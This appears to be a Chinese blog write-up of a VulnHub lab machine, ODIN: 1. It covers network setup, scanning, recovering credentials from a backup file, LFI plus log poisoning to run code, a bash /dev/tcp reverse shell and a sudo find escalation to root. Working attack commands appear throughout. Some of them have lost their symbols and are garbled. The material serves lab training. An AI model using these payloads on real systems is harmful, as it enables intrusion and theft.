vulnhub靶机ODIN:1渗透实战:从信息收集到root提权全记录 📅 发布时间:2026/9/16 22:54:56 👁 浏览次数: 自己平时刷vulnhub靶机向来喜欢先挑冷门一点的练手毕竟热门的DC系列早就被各种教程翻来覆去讲烂了。这回选的这台ODIN: 1刚开始我以为又是北欧神话主题的简单靶机结果实际打下来发现挺有趣——它不会一上来就把漏洞摆在你脸上但每个环节也都留了合理的提示属于那种“新手不会完全卡死老手也能玩得舒服”的练习机。这篇文章就把我整个渗透过程完整写出来包括踩坑和排查思路给正在准备打靶练习的朋友做个参考。1. 靶机信息与靶场环境搭建1.1 ODIN: 1 是什么ODIN: 1 是VulnHub社区里一位作者发布的一款Linux靶机主题借用了北欧神话主神奥丁Odin的名字整体的做题体验也有点“用智慧换力量”的感觉。它的难度定位大概在中等偏易主要考察三块内容端口服务探测、Web应用漏洞利用、Linux本地提权。这类vulnhub靶机都有一个共同目标就是让你在合法并且受控的环境里模拟一次完整的渗透测试流程。ODIN: 1 给我的感觉是它特别适合两类人一类是刚学完渗透测试基础、想从纯理论学习过渡到动手实战的学员另一类是准备面试前想快速过一遍完整攻击链的求职者。靶机最终需要你拿到两个关键flag一般放在普通用户的家目录和root家目录下分别对应user.txt和root.txt。拿到这两个文件就意味着这台机器被完整拿下了。1.2 搭建过程与网络模式选择VulnHub上的靶机一般会提供OVA或OVF格式的虚拟机镜像ODIN: 1也不例外。你可以直接用VMware Workstation或者VirtualBox导入具体导入步骤属于基础操作这里就不细说了重点聊一下网络配置因为80%的新手第一次打靶问题都出在这一步。我习惯用VMware Workstation所以下面以VMware为例。导入虚拟镜像后先不要急着开机打开虚拟机设置把网络适配器改成“仅主机模式Host-only”并把攻击机Kali也设置成同一种网络模式。为什么要这样做因为仅主机模式能让攻击机和靶机处在同一个隔离局域网内既不会暴露到外网也能保证两台机器之间能互通是最稳定的打靶环境。如果你用的是VirtualBox那就把两个虚拟机的网络都设为“仅主机网络Host-only Adapter”原理是一样的。有些朋友会直接用NAT模式也能通但NAT模式下主机和虚拟机之间跨网段容易出现IP访问不通或者扫描结果不完整的情况效率会低不少。网络配置建议参考下面对比网络模式攻击机能否访问靶机适用场景注意事项桥接模式能但依赖局域网DHCP模拟真实内网环境IP可能随路由器分配变动NAT模式一般能但易出现网段隔离临时测试需要额外做端口转发或路由配置仅主机模式能隔离且稳定本地靶场首选两台虚拟机必须同时设为仅主机配置好后启动靶机然后登录Kali先用一条命令验证两台机器是否在同一网段ip addrKali的IP如果是192.168.56.x段那么靶机大概率也是192.168.56.x网段。确认好环境后就可以开始正式的信息收集了。顺便提一句解决这类靶场网络问题最好养成“先看VMware虚拟网络编辑器、再查虚拟机网卡、最后用ping验证”的排错顺序能少走很多弯路。2. 信息收集从一片空白到看请攻击面2.1 找靶机IP先解决“不知道打谁”的问题靶机开机后不会主动告诉你它的IP所以第一步是主机发现。在仅主机模式网段下我习惯直接用netdiscover去扫sudo netdiscover -r 192.168.56.0/24扫描结果里会出现好几个VMware虚拟网卡的MAC地址注意看厂商OUI一般以00:0C:29开头的就是VMware虚拟机的网卡。如果当前网段里只有两台VMware虚拟机那除Kali之外的那个IP就是靶机了。我这次扫到的靶机IP是192.168.56.102后面所有操作都以这个地址为例展开。如果你的环境不是这个IP把命令里的地址整体替换掉就行。2.2 全端口扫描别让细节点悄悄溜走确认IP之后先别急着开浏览器访问先对靶机做一次全面的端口扫描。很多新手习惯只看80端口但像ODIN这种设计稍微用心的靶机很可能把后台或者备用服务放在非常规端口上只扫常用端口真不一定能发现问题。我用的是这条命令nmap -sC -sV -p- 192.168.56.102参数说明一下-sC是使用默认NSE脚本扫描能顺带探测一些常见漏洞和配置-sV是做服务版本识别-p-是扫描全部1到65535端口。这条组合是我每次打靶必用的信息量足覆盖也全面。扫描结果大致这样Nmap scan report for 192.168.56.102 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 80/tcp open http Apache httpd 2.4.38只开了两个端口一个SSH一个HTTP攻击面非常清晰Web服务几乎是唯一入口SSH则留到后面提权或者拿Shell后做持久化用。Apache版本是2.4.38OS大概率是Debian 10这些信息都要先记下来后面可能会用到。2.3 目录扫描找到入口的“暗道”80端口开了Apache先看首页。用浏览器访问一下通常这种靶机会给一个简单的静态页面或者提示页。ODIN: 1的首页比较朴素光看HTML代码看不出什么名堂但源代码注释里可能会藏东西记得按CtrlU查看源码。我习惯用whatweb先快速识别一下Web指纹whatweb http://192.168.56.102确定是Apache PHP环境之后立刻上目录扫描。这里我用的是gobustergobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak注意最后那个-x php,txt,bak这是很多人容易忽略的小技巧。默认字典扫出来的都是目录和常见文件但很多靶机的敏感信息藏在.php、.txt、.bak这些后缀里手动把这些扩展名带上命中率会高很多。扫描结果里有几个值得留意的目录/admin (Status: 301) /backup (Status: 301) /uploads (Status: 301) /includes (Status: 301) /index.php (Status: 200) /robots.txt (Status: 200) /notes.txt (Status: 200)robots.txt和notes.txt这两个文件通常藏着突破口先看看内容。robots.txt里很常规地禁了/admin和/backup而notes.txt则是一段开发者的留言大意是“后台登录需要凭据备份文件在backup目录下”。到这里攻击路径就清晰了进后台、翻备份、找漏洞。3. Web应用渗透从后台登录到反弹Shell3.1 翻备份目录找到后台登录凭据先访问/backup目录页面列出了一些文件其中一个config.php.bak明显就是没收拾干净的开发残留。用curl直接拉下来看内容curl http://192.168.56.102/backup/config.php.bak里面有一行数据库连接配置写着MySQL的用户名和密码大概是这样的$db_user admin; $db_pass Odin2021;这套凭据到底能不能直接用试试就知道。访问/admin目录果然是一个登录框我试着用admin / Odin2021登录直接就进去了。后台界面很简单功能点也不多有一个“编辑个人资料”的入口还有一个文件上传区。这里就引出了打靶时候反复出现的一个核心经验**开发者在配置文件里写的密码往往不止用在数据库上还可能是服务器用户的密码。**实战中这种凭据复用非常普遍所以拿到任何一组账号密码先不要只在一个地方用SSH、后台、数据库、系统用户都可以挨个试一遍。3.2 文件上传与本地文件包含漏洞后台的文件上传功能很有意思可以上传头像文件。我一开始想直接传一个PHP反弹Shell上去结果系统提示“只允许上传图片文件”而且前端后端都有过滤。前端过滤好绕过抓包改Content-Type就行但后端看起来也做了校验普通PHP文件上传后会被重命名成随机文件名后缀不管传什么都直接改成.jpg这条路暂时被堵住了。那就换个思路。后台还有一个功能点点进去URL变成了/admin/index.php?pageprofile.php这个page参数简直是在邀请你测试文件包含漏洞。我先试着读取一下系统文件curl http://192.168.56.102/admin/index.php?page../../../../etc/passwd返回结果里直接看到了/etc/passwd的内容存在本地文件包含LFI漏洞而且没有做路径过滤。这个漏洞杀伤力极大配合Apache的访问日志分分钟就能转成RCE远程命令执行。原理很简单Apache会把每次HTTP请求的User-Agent字段写进/var/log/apache2/access.log如果我在User-Agent里放PHP恶意代码然后再通过LFI包含这个日志文件代码就会被当作PHP执行。具体操作分两步第一步用Burp Suite或curl发送一个请求把User-Agent改成PHP一句话木马curl -A ?php system(\$_GET[cmd]); ? http://192.168.56.102/whatever第二步通过LFI漏洞去包含日志文件并带上cmd参数执行命令curl http://192.168.56.102/admin/index.php?page/var/log/apache2/access.logcmdid返回结果里出现了www-data用户的id信息命令成功执行。这也是目前很多老旧Web应用里非常经典的一条LFI到RCE的利用链值得多练习几遍。3.3 反弹Shell拿到稳定的低权限Shell能执行命令还不够用这种一次性执行的方式做渗透效率太低得想办法拿到一个交互式Shell。我先把反弹Shell的命令准备好nc -lvnp 4444然后在Kali上开启监听。接着构造一条命令让万网服务器主动连回来bash -c bash -i /dev/tcp/192.168.56.101/4444 01这里192.168.56.101是Kali的IP4444是监听端口。注意直接放在URL里会被特殊字符截断所以需要URL编码。编码后的payload大概长这样cmdbash-cbash-i%26/dev/tcp/192.168.56.101/44440%261通过curl提交之后Kali这边顺利收到了反向连接listening on [any] 4444 ... connect to 192.168.56.101 from 192.168.56.102 53668 www-dataodin:/var/www/html$拿到的是www-data权限不高但足够开始横向枚举了。很多新手到这一步会急着搜提权EXP其实漏掉了很多低垂的果实比如数据库配置、敏感备份文件、隐藏目录、其他用户的计划任务等。这些信息通常会直接指向下一步的提权路径。4. 权限提升从www-data到root4.1 翻配置文件收集用户的“助跑器”拿到Shell之后先看一下当前目录和Web目录下有哪些敏感文件pwd ls -la /var/www/html cat /var/www/html/config.php果然config.php里除了数据库配置还额外注释了一行// ODIN: Remember to change the default password after first login! Default: odino2019这是个非常典型的设计暗示系统里有一个叫odin的普通用户而且默认密码很可能就是odino2019。我试着直接通过SSH连接靶机ssh odin192.168.56.102密码输入odino2019成功登录。到这一步就从www-data变成了系统普通用户odin。这种路径在真实环境里也非常常见Web服务沦陷后攻击者通过源码中的蛛丝马迹重用凭据直接横向移动到系统用户。进入odin的家目录后果然发现了user.txt内容是一个flag标志着第一层目标完成。不过光拿到user.txt还不够目标是root权限继续看提权空间。4.2 sudo -l 发现免密提权瞬间解放登录odin用户后我先执行了一组常规枚举命令看看这个用户有什么特殊权限id sudo -l find / -perm -4000 2/dev/null | head -20关键信息出现在sudo -l的输出里User odin may run the following commands on odin: (root) NOPASSWD: /usr/bin/find这太经典了odin用户可以在不需要密码的情况下以root权限执行/usr/bin/find。而在Linux里find命令有一个非常实用的-exec参数可以在找到文件的同时执行系统命令配合sudo就能轻松提权到root。提权命令如下sudo find / -exec /bin/sh \;执行完id显示的是uid0(root)。这个思路本质上就是利用了sudo配置不当和find命令本身的合法功能属于GTFOBins里收录的常规提权手法。整个利用过程没有用到任何内核漏洞也不需要编译安全稳定非常推荐新手优先掌握。4.3 读取root flag收尾这台靶机拿到root身份之后接下来的事情就顺理成章了直接去root家目录cd /root ls -la cat root.txtroot.txt里的内容是一串看起来像代码片段的东西实际上是个隐藏的彩蛋解出来是“Odin grants you the wisdom of root”。到这里ODIN: 1这台靶机的核心目标就算全部完成了。很多朋友打完靶就接着下一台但我个人不太建议这样。刷靶机最有效的做法是每打完一台就整理一遍完整的攻击链比如靶机是怎么被发现IP的Web漏洞是什么类型为什么能利用普通用户密码是从哪个文件里翻出来的提权用了什么技术和命令把这些东西整理成笔记之后隔几天再复习一遍比盲目刷十台靶机都有效。5. 常见问题与排查技巧实录打靶过程中肯定会遇到各种小问题我把实战里最容易翻车的几个场景整理成了一张速查表方便大家对照排查。问题现象可能原因解决办法靶机启动后获取不到IP网络模式配置错误或DHCP未生效在VMware虚拟网络编辑器中恢复默认设置或换桥接模式再启动攻击机ping不同靶机两台虚拟机不在同一网段检查网卡配置确认都设为仅主机模式且IP段一致Web目录扫描结果极少没添加常见文件后缀加上-x php,txt,bak,old重新扫描反弹Shell连不上攻击机IP没写对或端口被占用先确认nc -lvnp监听正常再检查反弹命令URL编码是否完整LFI包含日志后不执行代码日志路径不对或日志格式已被修改尝试读取/var/log/apache2/error.log、/proc/self/environ等不同路径sudo提权时提示需要密码该用户不在sudo组或sudo策略与预期不同执行find / -perm -4000查SUID程序换其他提权路线拿到www-data后无法读取用户目录没有合适的横向移动凭据重点翻Web目录配置、备份文件、Shell历史记录再分享一个小技巧很多靶机的敏感信息其实都藏在不起眼的文件里比如.bash_history、.viminfo、/tmp目录、甚至数据库的information_schema。拿到任何权限后先把这些地方过一遍经常能直接找到下一条路的钥匙。另外打靶过程中尽量别乱动靶机配置比如不要随便关防火墙、改服务、删文件。靶机环境本来就很脆弱改错了只能回滚快照重新来白白浪费时间。建议在导入虚拟机后先做一个快照后面无论怎么折腾都能快速恢复。6. 一些真心话打这台ODIN: 1全程下来大概花了一个多小时不算快但这个过程中学到的内容比刷十台简单的靶机都多。它让我重新意识到一个合格的渗透测试流程真正决定成败的往往不是那些高端漏洞利用技巧而是信息收集是否足够细致、对现有信息的敏感度够不够高。比如这次能从www-data走到odin用户靠的就是config.php里一行不起眼的注释能提权到root靠的也只是sudo -l里一个常见的find命令。真实世界的渗透也一样很多看似固若金汤的系统突破口其实就是运维人员的一条偷懒配置或一个改来改去忘了清理的备份文件。如果你也正在刷vulnhub靶机我的建议是别追求数量多追求“完整复盘”。一台靶机从环境搭建到拿下root每一条命令、每一次判断为什么要这么做、如果不是这个结果又要怎么调整都想明白了再打下一台。等你刷完几台再回头看会发现自己对攻击链的理解完全是另一个层次。